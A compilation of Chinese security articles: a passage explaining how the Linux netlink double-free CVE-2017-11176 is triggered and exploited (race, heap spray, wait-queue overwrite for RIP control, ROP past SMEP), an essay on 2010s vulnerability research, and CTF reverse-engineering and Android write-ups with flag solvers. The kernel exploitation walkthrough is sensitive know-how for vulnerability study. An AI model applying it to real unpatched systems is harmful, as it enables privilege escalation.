行1212，如果notification.sigev_notify为SIGEV_THREAD，进入关键代码块。行1216，通过alloc_skb创建一个notify_skb，用于接收数据。行1221，通过copy_from_user将notification.sigev_value.sival_ptr指向的数据拷贝到nc->data中。这里必须成功，不然直接退出；行1229，调用skb_put设置消息数据头部。行1231到行1248是retry循环体。行1232，调用fdget函数获取文件描述符。行1237，调用netlink_getsockbyfilp函数通过文件描述符获取netlink_sock，具体看一下netlink_getsockbyfilp函数。
调用file_inode通过filp找到对应的inode节点，然后通过SOCK_I函数处理inode节点。
这里通过宏container_of在socket_alloc结构体中找出socket成员。这里解释一下，SOCKET_I返回值是socket结构体。其实sock结构体中第一个成员sock_common也是socket类型，是一个迷你版socket。
下面看一下sock_common结构体。
行1609，获取到sock后，然后判断sock->sk_family是否等于AF_NETLINK。行1613，接着调用sock_hold增加引用计数。sock_hold函数如下：
这里atomic_inc进行sk_refcnt加1。netlink_getsockbyfilp函数返回sock，这时sock的引用计数为1。接下来，行1246，调用netlink_attachskb。这是个关键函数，该函数功能是将skb绑定到netlink
socket上，具体关键代码如下：
行1683，调用sock_put减少引用计数一次，最后return 1，函数返回，直接goto到retry标签地方。
这里行1237和行1246，这两处调用正好进行了引用计数抵消。行1247的if语句中并没有将sock置空，再看行1233，如果f.file为空，那就直接goto到out标签。out标签代码如下：
行1306，判断sock是否为空，如果不为空，调用netlink_detachskb函数。
释放skb，并减少sk引用计数，进行释放。
那么就有问题了，如果我们创建A线程保持netlink_attachskb返回1，并重复retry逻辑，这个时候sock的引用计数是保持平衡的，一加一减，但是sock并不是为空。同时再创建B线程去关闭netlink
socket对应的文件描述符。由于B线程关闭了netlink
socket的文件描述符，那A线程在retry逻辑中，行1232，调用fdget时会失败，然后直接goto到out标签，进行释放，进行了二次释放，导致漏洞。这个漏洞是属于条件竞争型的二次释放漏洞，只在一个线程中，是无法触发漏洞。
这个漏洞原理比较简单，但是如何触发这个漏洞还是比较复杂。首先，如何让netlink_attachskb返回1，从而顺利进入retry逻辑。再次回看netlink_attachskb的实现。
行1657，通过nlk_sk函数通过sk获取netlink_sock。这里的nlk_sk如下。
通过调用宏container_of获取netlink_sock。netlink_sock结构体如下：
netlink_sock结构体第一个成员是sock类型，而sock结构体的第一个成员是socket。行1660，第一个if判断必须得进入。
!netlink_skb_is_mmaped(skb)肯定返回true，关键是sk->sk_rmem_alloc>sk->sk_rcvbuf ||
test_bit(NETLINK_CONGESTED, &nlk->state)结果必须是true。
这里通过设置sk->sk_rmem_alloc的大小绕过check更为方便，代码如下。
假如if判断不通过，接着调用netlink_skb_set_owner_r函数，如下所示。
行878，调用宏atomic_add，该宏执行原子加操作。这行代码的含义是：在sk->sk_rmem_alloc的基础上加上skb->truesize。等同于sk->sk_rmem_alloc
+=
skb->truesize。既然该函数里这行代码可以直接增加sk->sk_rmem_alloc的大小，那么可不可以多次调用netlink_skb_set_owner_r函数增加sk->rmem_alloc的值？理论上是完全可以的，看看如何从用户层到达这个函数。
通过understand工具可以快速找到netlink_skb_set_owner_r的调用链：
netlink_sendmsg->netlink_unicast->netlink_attachskb->netlink_skb_set_owner_r
如何顺利的通过函数调用路径？这里需要分析如何从netlink_sendmsg到达netlink_skb_set_owner_r。
netlink_sendmsg函数实现如下。
行2285，首先判断msg->msg_flag不能为MSG_OOB，继续往下看。
行2292，判断msg->msg_namelen的长度，这里必须不为空，当然也不会为空。进入if后，判断addr->nl_family是否等于AF_NETLINK。行2299，判断dst_group或dst_portid不为空，dst_group表示多播模式，dst_portid来自于addr->nl_pid，因此保证dst_portid不为空比较容易。接下来：
行2320，判断了msg->msg_iter.iov->iov_base不能为空。并且len不可以大于sk->sk_sndbuf-32。
其实整个函数中，用户层可控的只有这么多。直接看netlink_unicast的调用。
netlink_unicast函数实现如下：
整个函数中，用户能控制的不多。行1783，设置了timeo，这里要保证nonblock为msg->msg_flags&MSG_DONTWAIT，这样线程才不会被block。行1790，判断sk是否为内核版的sk，在用户层创建socket时应使用NETLINK_USERSOCK。行1793，判断是否有sk_filter，这里保证不进入该if语句，不要设置过滤器。行1800，直接调用netlink_attachskb，成功到达netlink_skb_set_owner_r函数。这算是通过调用netlink_sendmsg来增加sk->sk_rmem_alloc的过程。其实我们不光可以增加sk->sk_rmem_alloc，还可以减小sk->sk_rcvbuf。
那么如何减小sk->sk_rcvbuf？在setsockopt函数中，找到sock_setsockopt函数中对sk->sk_rcvbuf的操作。
行773，sk->sk_rcvbuf取val*2和SOCK_MIN_RCVBUF之间的最大值。行755，val取val和sysctl_rmem_max之间的最小值。行749，这个case为SO_RCVBUF。继续往上看。
行693，要保证optlen不小于sizeof(int)。行696，将optval赋值到val中，这里optval是用户可控的。行703，switch分发optname，所以要保证optname为SO_RCVBUF。这样就可以保证顺利到达修改sk->rcvbuf的代码处。
到这里，我们通过两种方式进行绕过netlink_attachskb函数中的第一个check。
1) 通过netlink_sendmsg增加sk->sk_rmem_alloc的值。
2) 通过sock_setsockopt尽可能地减小sk->rcvbuf的值。
进入if语句后，看如下代码：
这段代码会让当前线程进入等待状态，直接block。如果不想进入等待状态，只有设置sock_flag为SOCK_DEAD。但是如果把sock_flag设置成SOCK_DEAD，那后面也没有必要进行，因此这里是必然要进入等待状态的。一种巧妙的方法是直接调用wake_up_interruptible强行唤醒线程。那如何调用wake_up_interruptible呢？函数调用链非常简短：netlink_setsockopt->wake_up_interruptible。
在Netlink_setsockopt函数中：
行2182，调用wake_up_interruptible唤醒线程。行2178，case为NETLINK_NO_ENOBUFS。
行2131，判断level必须为SOL_NETLINK，行2134，判断optname不能为NETLINK_RX_RING和NETLINK_TX_RING，同时保证optlen大于等于sizeof(int)。行2139，switch分发optname，这里要保证optname为NETLINK_NO_ENOBUFS。到这里，基本上就可以保证netlink_attachskb返回1。
保证进入retry循环后，这个时候sock已经不为空。接下来要使retry循环中出错，直接跳转到out，代码如下：
行1232，通过fdget获取notification.sigev_signo的fd。Notification.sigev_signo是用户态传进来的，因此完全可以在用户层直接close这个socket。在用户层close这个socket后，行1233，进入if逻辑，然后跳到out标签。
这个时候sock是非空的，if判断为真，进入netlink_destachskb，接着就是free崩溃。
### 3\. **漏洞复现**
对于UAF类型的漏洞，通用方法就是使用堆喷射占位。本次漏洞中被多次释放的对象是netlink_sock对象。netlink_sock对象大小为0x3f0字节，即是1008byte。
根据内核对象内存分配规则， netlink_sock对象应该从kmalloc-1024这个缓存中进行分配。
slab分配器在分配对象时，遵守后进先出的规则。
下面是slab分配器释放对象的过程。
要释放的对象objp放在了ac->entry[]的末端。下面是slab分配器分配对象的过程：
分配对象直接从ac->entry[]末端弹出一个对象。
所以一个刚刚被释放的对象是排在链表末段，如果此时恰好在同一缓存中进行对象分配，那刚刚释放的对象就会被重新分配出去，这就出现两个指针指向同一块内存地址。要想保证申请的内存正好落在漏洞对象的内存位置中，需要把握住几点：
1. 堆喷对象使用的内核缓存应该和漏洞对象内存在同一个缓存中。即大小必须落在同一个kmalloc-X中。
2. ac本身是array_chche结构体，该结构体是本地高速缓存，每个CPU对应一个，所以还要保证堆喷申请的对象和漏洞对象在同一个CPU本地高速缓存中。
3. 如果堆喷申请的对象只是短暂驻留，当该函数返回时将申请的对象进行了释放，导致无法正确占位。所以要能保证申请的对象不被释放，至少保证在使用漏洞对象时不被释放，这里要采用驻留式内存占位，可以采取让某些系统调用过程阻塞。
4. slab缓存碎片化问题，这里要占位的对象大小为1008，对象尺寸比较大，占据四分之一页，比较整齐，应该没有碎片化问题。
那么如何判断堆喷是否成功呢？
通用情况下，在进行堆喷时候，构造堆喷对象时，有必要在对应漏洞对象的一些特殊成员域的内存偏移处设置magic
value，然后可以采用系统调用去获取漏洞对象中相关数据进行判断。netlink_sock结构体几个关键的成员如下。
采用getsockname系统调用获取数据，getsockname会调用netlink_getname。具体看一下netlink_getname函数：
代码1576行，将netlink_sock对象中的portid复制给nladdr->nl_pid。代码1577行，如果nlk->group为0，将nladdr->nl_groups赋值为NULL，这里避免解引用nlk->groups指针，直接可以在构造堆喷对象时将groups域填零。而nladdr是从addr转换过来的，addr就是从用户层传入的缓冲区。
堆喷成功如下：
通常情况是覆盖结构体中的函数指针或者包含函数指针的结构体成员，这视情况而定。这里选择覆盖wait等待队列。netlink_sock结构体如下：
wait_queue_haed_t结构体如下：
task_list成员是一个双向循环链表头，task_list中链接的每一个成员都是需要处理的等待例程元素。那该如何使用这个成员？看如下代码。
这是netlink_setsockopt函数中的代码片段，前面恢复线程复活分析过，这里将会调用netlink_sock对象中的等待例程，直接使用参数nlk->wait。继续深入分析：
调用__wake_up_common函数：
代码70行，宏list_for_each_entry_safe遍历q->task_list中的成员，返回到curr。代码68行，curr为wait_queue_t指针，说明q->task_list链表中存的是wait_queue_t类型的元素，wait_queue_t结构体如下：
wait_queue_t结构体中有一个函数指针func。再看 **wake_up_common函数中，代码73行，直接执行curr
>func函数，可以通过构造**wait_queue的func参数控制RIP。再回过头看list_for_each_entry_safe宏：
pos是 **wait_queue元素，代码62行，对pos->member.next进行了解引用，这里的pos->member就是**wait_queue中的task_list。__wait_queue中的task_list也是一个链表头，需要指向一个list_head，所以还必须要构造一个假的list_head以便于该宏进行解引用。测试如下：
接下来就是通过ROP链绕过SMEP执行提权代码。成功提权后如下所示：
### 4\. **参考链接**
[1] <https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part1.html>
[2] <https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part2.html>
[3] <https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part3.html>
[4] <https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part4.html>
* * *
**启明星辰积极防御实验室（ADLab）**
ADLab成立于1999年，是中国安全行业最早成立的攻防技术研究实验室之一，微软MAPP计划核心成员。截止目前，ADLab通过CVE发布Windows、Linux、Unix等操作系统安全或软件漏洞近400个，持续保持国际网络安全领域一流水准。实验室研究方向涵盖操作系统与应用系统安全研究、移动智能终端安全研究、物联网智能设备安全研究、Web安全研究、工控系统安全研究、云安全研究。研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。
* * * | 社区文章 |
# 从研究者视角看漏洞研究之2010年代
##### 译文声明
本文是翻译文章，文章原作者 盘古实验室，文章来源：盘古实验室
原文地址：<https://mp.weixin.qq.com/s/UBZv0pd7Nr-o-NMxjV53RQ>
译文仅供参考，具体内容表达以及含义原文为准。
作者：王铁磊@盘古团队
随着2019年进入最后一个月，整个2010年代即将成为过往。过去十年漏洞领域的研究发展，可谓波澜壮阔、精彩纷呈。我屡次提笔试图记录这十年的技术发展，最终都因为这个事情的难度远远超出自己的预想而弃笔。不过有些想法不吐不快，索性简单总结些个人观点，抛砖引玉供人讨论、补充和参考。
## 1、后PC时代，控制流完整性 (Control flow integrity) 成为新的系统安全基础性防护机制
2000年代后期，地址空间随机化(ASLR)和数据执行保护(DEP/W^X)成为两项通用的基础性漏洞利用缓解机制。不幸的是，利用漏洞实现内存信息泄漏绕过ASLR进而基于ROP/JOP/Data-only attack等攻击技巧实现任意代码执行成为攻击者的标配 (更多内存漏洞攻防技术信息，参考《SoK: Eternal War in
Memory》，<https://people.eecs.berkeley.edu/~dawnsong/papers/Oakland13-SoK-CR.pdf>）。面对大量绕过ASLR和(DEP/W^X)的漏洞利用样本，学术界再次掀起了针对细颗粒度ASLR和Anti-ROP的研究高潮。最终，在诸多潜在技术解决方案中，（粗颗粒度的）控制流完整性技术赢得了市场 (不同CFI机制实现细节和对比，参考 《Control-Flow
Integrity: Precision, Security, and
Performance》<https://nebelwelt.net/publications/files/17CSUR.pdf)>。为此，英特尔芯片中新增了CET特性（Control-flow Enforcement Technology），支持粗颗粒度前向跳转地址验证和基于Shadow Stack Register的返回地址验证，ARM
V8.3标准中增加了PAC（Pointer Authentication
Code）特性，支持对数据或者代码指针完整性的验证；LLVM、GCC、VisualStudio等主流编译器中支持开启CFI特性的编译选项；Windows、Android、iOS等操作系统都已经在用户态和内核态实现不同粒度的CFI机制。
CFI机制可以有效缓解控制流劫持类型的漏洞利用技术。但是，如果漏洞利用过程中不依赖于控制流劫持即可获取任意内存读写能力，CFI机制也无法保证内存数据的完整性和机密性。例如，2014年爆发的Heartbleed漏洞是由OpenSSL库心跳协议解析过程中的内存越界读引起的；攻击者可以利用该漏洞读越界读取服务器内存中的敏感信息。面对这种“简单粗暴”的越界读，CFI也无能为力。现阶段基于软件的CFI实现，很难对函数返回地址有效验证；基于硬件的CFI实现，依赖于新型硬件支持，普及范围有限。此外，实现覆盖操作系统内核、系统服务和用户态应用的全栈CFI尚需时间，攻击者可以对尚未应用CFI或CFI实现不完备的模块攻击。
## 2、令人“惊喜”的硬件安全特性与硬件安全漏洞
过去十年里，64位芯片大范围普及，在性能大幅提高的同时，增加了很多新的安全特性。Intel芯片相继支持SMEP (Supervisor Mode
Execution Prevention)和SMAP (Supervisor Mode Access
Prevention)特性，ARM平台上实现相应的PXN (Privileged Execute Never)和PAN(Privileged Access
Never)特性，强化了内核和用户态之间的隔离。Intel早在2016年就发布的CET特性，终于有望在下一代Tiger Lake处理器中实现。ARM
v8.3 中PAC特性在苹果A12系列芯片得到了实现，自iPhone Xs起，iPhone家族正式进入到PAC时代；结合新的PPL (Page
Protection Layer)机制，iPhone设备上代码动静态完整性得到了前所未有的保护。2018年，ARM公布了v8.5，其中MTE（Memory
Tagging Extension）特性有望有效缓解内存越界类的安全漏洞。
这些已经部署和即将部署的硬件安全特性令人对下一阶段系统安全充满期许，而过去几年中暴露出来的硬件底层安全漏洞同样令人吃惊。2014年，CMU的研究人员在计算机体系结构领域顶级会议ISCA上，发表了题目为“Flipping
Bits in Memory WithoutAccessing Them: An Experimental Study of DRAM
Disturbance
Errors”的论文，介绍了影响深远的Rowhammer问题：高频访问DRAM内存单元可能引起临近内存单元中数据bit反转。几个月后，Google
Project
Zero团队就成功利用该问题实现了沙盒逃逸和内核提权(<https://www.blackhat.com/docs/us-15/materials/us-15-Seaborn-Exploiting-The-DRAM-Rowhammer-Bug-To-Gain-Kernel-Privileges.pdf)>；其他研究团队进一步在浏览器环境、移动设备环境里重现和利用了这个问题。尽管很多研究人员提出了缓解Rawhammer问题的方法，从成本、性能、有效性等角度综合考量，彻底杜绝Rawhammer问题仍面对巨大挑战。
除了存储器件，处理器本身也问题重重。长久以来，不断有研究讨论处理器某些新增特性会引起侧信道攻击，安全和性能的冲突愈发严重。处理器侧信道这一问题在2017年集中爆发。多个研究团队相继公开了Spectre、Meltdown以及各种变形攻击，利用处理器乱序执行、分支预测、推测执行等核心特性，达到绕过内存隔离机制越权读取内存的效果。这些侧信道攻击不仅可以使ASLR安全防护机制失效，甚至可以导致Container、SGX等执行环境中隐私数据泄漏。考虑到这些芯片的巨大存量以及修复的复杂性，Spectre、Meltdown
这些攻击的长尾效应会非常明显。
## 3、旧瓶装新酒，移动设备的安全设计实现弯道超车
2010年代，移动互联网的爆发式增长离不开两大移动操作系统的发展：iOS和Android。放下了兼容性等沉重包袱，移动操作系统的设计者们获得了从零开始设计安全架构的机遇。虽然iOS和Android起源于“古老”的XNU和Linux，移动操作系统的设计者们从桌面操作系统陷入安全困局的过程中学习到了足够多的教训。移动操作系统从全新视角处理用户、设备、应用和开发者的关系，打造了新的移动生态环境，在此基础上全方位的从信任根存储、可信启动链、固件开放度、版本控制、应用分发、权限管理、沙盒设计、数据加密、硬件隔离环境等角度改进终端安全。在对抗漏洞利用的策略上，移动操作系统不仅快速部署了PC系统中通用的漏洞缓解机制，而且不断采用软硬件相结合的漏洞利用封堵机制。与桌面操作系统对比，移动操作系统的安全性实现了弯道超车。
不过，移动设备面对的攻击也越来越多。尽管难度越来越大，业界一直都存在针对最新iOS设备的越狱；野外针对iPhone的远程攻击样本多次被捕获；从初代iPhone到iPhone
X之间所有iOS设备的Bootrom中都存在安全漏洞，由于Bootrom代码固化在硬件中，这些漏洞无法通过软件升级修复，致使这些设备永远都能越狱。对于Android设备，TEE
(Trusted
ExecutionEnvironment)是具备最高权限的执行环境；然而，研究人员在不同厂商Android设备的TEE里都发现过高危安全漏洞；随着承载的功能越来越多、攻击面越来越大，TEE面临的考验依然十分严峻。
## 4、网络入口争夺战愈演愈烈
2010年代，作为最主要的网络入口，浏览器成为各大巨头公司的争夺焦点。同样的，浏览器也成为了网络攻击的焦点。自2007年起，漏洞军火商ZDI公司每年都会举办PWN2OWN比赛(<https://en.wikipedia.org/wiki/Pwn2Own)>，浏览器一直都是比赛的重头戏。在这十年里，各家厂商开始了漫长的浏览器安全治理之路：一方面不断强化隔离策略，尝试将不同功能模块拆分到不同执行空间，细化内存管理器，实现不同对象堆空间隔离等，提高漏洞利用难度；另一方面采用筑墙策略，不断细化浏览器沙盒规则，缩减系统暴露给浏览器的攻击面，降低已获取任意代码执行能力的情况下漏洞造成的危害。这十年中，浏览器一再被攻破，但是攻击的难度也越来越高。诸如Chrome浏览器的沙盒逃逸和PAC环境下Safari浏览器的任意代码执行等问题都是当下研究的难点。不过可预见的，浏览器攻防对抗仍将是下个十年的热点。
继浏览器之后，WiFi协处理器、BaseBand基带、蓝牙也都成为攻击对象。2017年，Google Project
Zero成功展示了通过畸形WiFi信号，攻击WiFi协处理器中漏洞并以此为跳板控制Android和iPhone手机内核的完整攻击链。最近几期的Mobile
Pwn2own比赛中，手机基带已经成为常规项目：攻击者通过伪基站信号，攻击BaseBand基带的漏洞。另外，作为网络拓扑中的一个重要缓解，路由器也成为攻击的重灾区。不幸的是，很多路由器厂商显然还没有做到准备，旗下产品在各种破解大赛中屡次被攻破；选手所利用的漏洞大多是简单命令注入或最传统的堆栈溢出。
针对即时通信工具、社交软件、邮件客户端的远程攻击威力巨大。2019年的BlackHat USA峰会上，Google Project
Zero、盘古团队、和微软安全团队分别披露iMessage、Facetime和OutLook客户端的远程漏洞；针对WhatsApp的远程攻击样本在野外捕获。反观国内，微信、QQ、微博，这些拥有庞大用户量的社交软件，安全性到底如何呢？作为参考，2017年，我们在一个流行解压库里发现路径穿越的问题，结果当时的微博、陌陌、快手、网易云音乐、QQ音乐等应用都受影响；通过流量劫持触发该漏洞并覆盖热补丁文件后，我们在微博应用里获取了任意代码执行的能力。
对于传统PC和服务器而言，网络服务的安全性仍旧令人担忧。2017年，Windows SMB
协议的安全漏洞“永恒之蓝”披露后，爆发了席卷全球的Wannacry类蠕虫病毒。
## 5、自动化漏洞挖掘和利用仍需提高
提到漏洞研究，不能不提自动化漏洞挖掘。2000年代涌现出一大批基于程序静态分析的漏洞检测技术，但在2010年代，模糊测试fuzzing赢得了更多检验和认可，程序静态分析则更侧重于服务于fuzzing的样生成和反馈指导。以ClusterFuzz,
OSS-Fuzz,
AFL等为代表的工业界fuzzing工具在实战中发现了大批软件安全漏洞，学术会议上关于fuzzing的论文也越来越多。更可喜的是，关于自动化生成漏洞利用样本的研究也越来越多。Google
Project Zero 所披露的漏洞中，fuzzing所发现的比例高达37%；
不过，人工审计发现的比例是54.2%(<https://i.blackhat.com/USA-19/Thursday/us-19-Hawkes-Project-Zero-Five-Years-Of-Make-0day-Hard.pdf)>，人力仍然是漏洞挖掘的最宝贵资源。
## 6、总结
2020年代迎来了5G，真正的万物互联时代将到来，漏洞的影响范围会因此越来越广。一方面，核心系统的安全防护会继续提升；面对这些最新、最全面的防护机制，攻击研究的难度会越来越大，高价值漏洞和利用技巧将成为稀缺资源。另一方面，安全防护的短板效应会进一步放大。在万物皆可被攻击的环境里，各种薄弱环节将成为攻击者的首选目标。如何从单点防护扩展到系统化全局防护体系建设可能迎来新的机会。 | 社区文章 |
# 0x01:confused_flxg
这是Hackergame 2018的一道题目
拿到题目，是一个压缩包，进行解压后发现是一个.exe可执行程序，双击可以正常运行
随意输入，总是会出来一个倒序的base64编码后的字符串
我们用python进行解码
得到一个假的flag 不用管他
Exeinfo PE载入可以发现是VC++写的64位程序，并且没有加壳
我们直接使用IDA x64载入
shift + F12可以看到程序中的一些字符串
我们双击正确的引用
可以看到有好多跳转
我们可以从下向上进行分析
在最近的jnz跳转处 按F5 查看伪代码
如下所示：
void __usercall sub_7FF7EBA1498F(__int64 a1@<rbp>)
{
unsigned __int8 *v1; // rax
unsigned __int8 v2; // dl
int v3; // eax
*(a1 + 112) = a1 + 384;
*(a1 + 40) = -1i64;
do
++*(a1 + 40);
while ( *(*(a1 + 112) + *(a1 + 40)) );
*(a1 + 64) = *(a1 + 40);
qmemcpy((a1 + 800), a9eetw4DFh4xu, 0x39ui64); // qmemcpy将内存中的字符串进行拷贝
memset((a1 + 857), 0, 0x8Fui64); // memset()函数初始化了一块内存空间 类似于char getflxg[200] = { 0 }
sub_7FF7EBA11590(a1 + 144, (a1 + 384), *(a1 + 64));// 进行base64加密
memset((a1 + 176), 0, 0xC8ui64); // 再初始化一块空间
*(a1 + 80) = sub_7FF7EBA11A40(a1 + 144);
*(a1 + 48) = a1 + 176;
*(a1 + 136) = *(a1 + 48);
do
{
*(a1 + 32) = **(a1 + 80);
**(a1 + 48) = *(a1 + 32);
++*(a1 + 80);
++*(a1 + 48);
}
while ( *(a1 + 32) );
strrev((a1 + 176)); // strrev用于反转字符串
memset((a1 + 592), 0, 0xC8ui64); // 又初始化了一个新的字符数组
for ( *(a1 + 36) = 0; ; ++*(a1 + 36) )
{
*(a1 + 120) = a1 + 176;
*(a1 + 56) = -1i64;
do
++*(a1 + 56);
while ( *(*(a1 + 120) + *(a1 + 56)) );
if ( *(a1 + 36) >= *(a1 + 56) )
break;
*(a1 + *(a1 + 36) + 592) = *(a1 + 36) ^ *(a1 + *(a1 + 36) + 176);// 这个for循环用于将反转后的str与len(str)进行异或操作
}
v1 = (a1 + 592);
while ( 1 ) // 这个while循环将得到的串与内存中的进行比较 若相等,则v3等于0并且跳转到label_15
{
v2 = *v1;
if ( *v1 != v1[208] )
break;
++v1;
if ( !v2 )
{
v3 = 0;
goto LABEL_15;
}
}
v3 = -(v2 < v1[208]) | 1;
LABEL_15:
if ( v3 )
{
sub_7FF7EBA124B0(std::cout, "\n你的flxg不正确！");
*(a1 + 'D') = 0;
}
else // v3=0,输出成功提示信息
{
sub_7FF7EBA124B0(std::cout, "\n祝贺你，你输入的flxg是正确的！");
*(a1 + 'H') = 0;
}
sub_7FF7EBA11AE0(a1 + 144);
JUMPOUT(&loc_7FF7EBA119F4);
}
可以看到 重要的部分就在这段代码中
这个程序主要流程很简单，先将我们的输入进行标准的base64编码，接着进行翻转，将a[i]与i分别异或，最后与内存中的flag进行比较看是否一致
那我们就可以逆出来flag
双击这个字符串数组 接着shift + e 复制出来得到加密后的串
得到之后，用python解即可
import base64
enc = [0x39, 0x65, 0x45, 0x54, 0x77, 0x5F, 0x34, 0x5F, 0x64, 0x5F,
0x66, 0x68, 0x3C, 0x34, 0x58, 0x55, 0x7F, 0x43, 0x21, 0x4B,
0x7F, 0x20, 0x43, 0x76, 0x5F, 0x20, 0x4C, 0x4D, 0x7A, 0x53,
0x70, 0x7D, 0x56, 0x4D, 0x65, 0x47, 0x4C, 0x5D, 0x71, 0x43,
0x18, 0x6F, 0x47, 0x48, 0x42, 0x18, 0x1C, 0x4D, 0x74, 0x45,
0x01, 0x69, 0x00, 0x4D, 0x5B, 0x6D]
aa = ''
flag = ''
#先求出xor之前的
for i in range(len(enc)):
aa += chr(enc[i] ^ i)
#print aa
#9dGWsZ2XlVlc09VZoR3Xk5UaG9VVfNnbvlGdhxWd0Fmcn52bDt3Z4xmZ
#翻转并base64解码
print base64.b64decode(aa[::-1])
#flxg{Congratulations_U_FiNd_the_trUe_flXg}
总结：
做这道题目时 因为是C++的 伪代码看着也会很乱
直接看不容易理解 这时候可以开启IDA动态调试 下断点进行分析
# 0x02:easyCpp
2019安恒二月赛的一道题目
这道题目运行，输入11111111111 回车，程序直接关闭，没有任何提示信息
Exeinfo PE查壳发现是一个C++程序并且没有加壳
IDA x32载入程序 shift + F12查看有没有什么可以字符串
发现一个'Please input:'
双击进去 接着双击引用
程序流程图貌似很简单的样子
F5查看伪代码
进行简单分析 Src是一个字符串数组 unsigned int是错误的
我们双击Src看下在程序中的位置
发现是在.data段也就是数据段（data
segment),通常是指用来存放程序中已初始化的全局变量的一块内存区域,那Src是一个32位的全局字符串数组变量
双击sub_411302()进去 发现最后返回的是中间的参数 也就是result
双击sub_411352() 进行分析
接着双击sub_413910()
int __usercall sub_413910@<eax>(int a1@<xmm0>, char *Str)
{
char v2; // cl
size_t i; // [esp+D0h] [ebp-8h]
sub_4112F8((int)&unk_421008);
for ( i = 0; i < j_strlen(Str); ++i ) // 将Str这个字符串分为三组 分别与0x1f,0x20,0x21进行异或
{
if ( i % 3 )
{
if ( i % 3 == 1 )
v2 = Str[i] ^ 0x20;
else
v2 = Str[i] ^ 0x21;
Str[i] = v2;
}
else
{
Str[i] ^= 0x1Fu;
}
}
return sub_411302(1, (int)Str, a1); // 最后返回a1
}
总的分析
int __usercall sub_413E30@<eax>(int a1@<xmm0>)
{
int v1; // eax
int v3; // [esp+0h] [ebp-CCh]
sub_4112F8((int)&unk_421008);
sub_411276(std::cout, "Please input: "); // cout输出提示信息
scanf((const char *)&my_input, (unsigned int)Src, 32);// scanf输入 保存在Src
if ( j_strlen(Src) >= 14 && j_strlen(Src) <= 32 )// 判断Src的长度是否满足大于等于14，小于等于32 若满足，就继续
{
v1 = strcpy_s(Str, 32u, Src); // 用strcpy_s()函数拷贝Src到Str
sub_411302(&v3 == &v3, v1, a1);
sub_411352(a1, Str); // 对Str进行异或操作 返回a1
}
return sub_411302(1, 0, a1); // 返回0 相当于return 0
}
感觉程序没有结束但就是找不到下面的代码
看了官方WP
了解到可以查看Str的引用
因为后面一直是对Str进行处理 所以可以猜测后续还会对他进行处理
点击任意一个Str 点击X 可以查看到第三条是还未分析的
我们双击进去 可以发现有两个Str
这时候我们就是该找到新Str的来源 但是我的IDA好像找不到其他引用
所以换个思路
我们可以看 unk_421008 所在区域 一般都是在一块的 点击它 按X
可以发现向上游好多引用
一个一个看 最后可以发现最上面这个 就是我们要找的
双击可以看到
那么我们就可以编写脚本解出flag
str1 = ''
str2 = 'access denieda'
flag = ''
for i in range(len(str2)):
str1 += chr(ord(str2[i])^i)
# print str1
#abafwv&cmgcnhl
for i in range(len(str2)):
if i % 3 == 0:
flag+= chr(ord(str1[i])^0x1f)
elif i % 3 == 1:
flag+= chr(ord(str1[i])^0x20)
elif i % 3 == 2:
flag+= chr(ord(str1[i])^0x21)
print flag
#~B@yWW9CLxCOwL
总结：当没有头绪的时候，可以查看变量或字符串的引用
这道题有涉及到虚函数表的知识
参考链接：<https://www.linkedbyx.com/taskinfo/443/detail> | 社区文章 |
# 【知识库】DDCTF 2018 writeup(三) 安卓篇
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一.奈沙夜影与DDCTF
本篇文章依旧由DDCTF2018比赛
第一名奈沙夜影提供，关于此次比赛的安卓部分，夜影这样评价：安卓的题目只要抽丝剥茧调试找到关键部分，题目就能轻松解开。ps：除了ECC那道题，加密算法取值不同太恐怖了。TAT
想看前几个方向的writeup可点击：
[【知识库】DDCTF 2018 writeup(一)
WEB篇](http://mp.weixin.qq.com/s?__biz=MzA3Mzk1MDk1NA==&mid=2651904642&idx=1&sn=4944d9d400c7c3e3d69c2301c8cb9a62&chksm=84e34907b394c01123e08ad8f1dc9e9e85414e82714fffe516774be56359522fe19763f81b99&scene=21#wechat_redirect)
[【知识库】DDCTF 2018 writeup(二)
逆向篇](http://mp.weixin.qq.com/s?__biz=MzA3Mzk1MDk1NA==&mid=2651904716&idx=1&sn=1f40a692dabd069f3200f719c89cec1c&chksm=84e34949b394c05f3834899872004e9f7daebdbf78719c8348ce517080409b084ede64bf1550&scene=21#wechat_redirect)
## 二. 安卓 writeup
### 0x01 **RSA**
JAVA层没什么东西，直接将输入送入了Native层的stringFromJNI函数
这个函数垃圾代码极其的多
建议动态调试，跟随输入值来观察计算过程
在主函数中首先用gpower生成了32个字节的i²Table，又GetTicks取了两次时间，然而都没有用上。
sub_3133C调用了input，从其中用到的字符串“basic_string::_S_construct null not
valid”来看，应该是静态编译的basic_string类的构造函数。
结构体中存放了字符串的长度和其他信息，将指针送给了第一个参数
sub_309E0中没有改变字符串，只是把string的指针送给了返回值，因此就不多纠结了 。跟入那个长的很像库函数名字很奇葩但其实就是核心函数的prj函数
上来第一句
``
`if ( *(_DWORD *)(v2 - 12) == 31 )`
``虽然一般都能猜出来这个31大概就是input的长度，但较真的话往前翻也能在sub_309E0中找到根据，或者动调可以更直观地看到这个数据
继续往下，逐字节异或了byte_4DECB数组，很常规的操作
这里的操作看起来比较复杂，但理清了其实很简单
关键的check其实只有中间那句`v10[10]!=*v10`
问题在于判断条件何时满足
分析一下，要j>=1，则v11>=10，即ii和v10都已+10
而v10的初值是&d[-10]，也就是说异或后的字符串需要从0-30皆满足`a[i]==a[i+10]`的关系
也就是一个长为10字节的字符串循环3.1遍
接着将d[10]赋0，也就是仅保留一遍该字符串
用d构造了一个basic_string，将其通过atoll转成整数保存下来
下面的操作比较有意思，将两个字符串构造成string
那个名字超长的函数点进去可以发现是`return
j_std::map<char,int,std::less<char>,std::allocator<std::pair<char
const,int>>>::operator[](a1, a2);`
就是STL的map对象，pair对是<char, int>
即第一个循环构造了一个dic，遍历字符串a，将每个值作为key，下标整除2作为value
for i in range(len(a)):
dic[a[i]] = i//2
第二个循环则遍历字符串b，将每个值的value取出连接在nptr中，最后atoll转成一个大整数
当然，比赛的时候没工夫慢慢逆23333直接动调看atoll的结果就是了
最后将两个整数相除，IDA反编译的结果比较乱，需要自己找准变量看
目标是return 1，即要r=1
那么v24必须为0，虽然没有给出v24的来源，不过在栈中可以看到
> __int64 v24; // r2@24
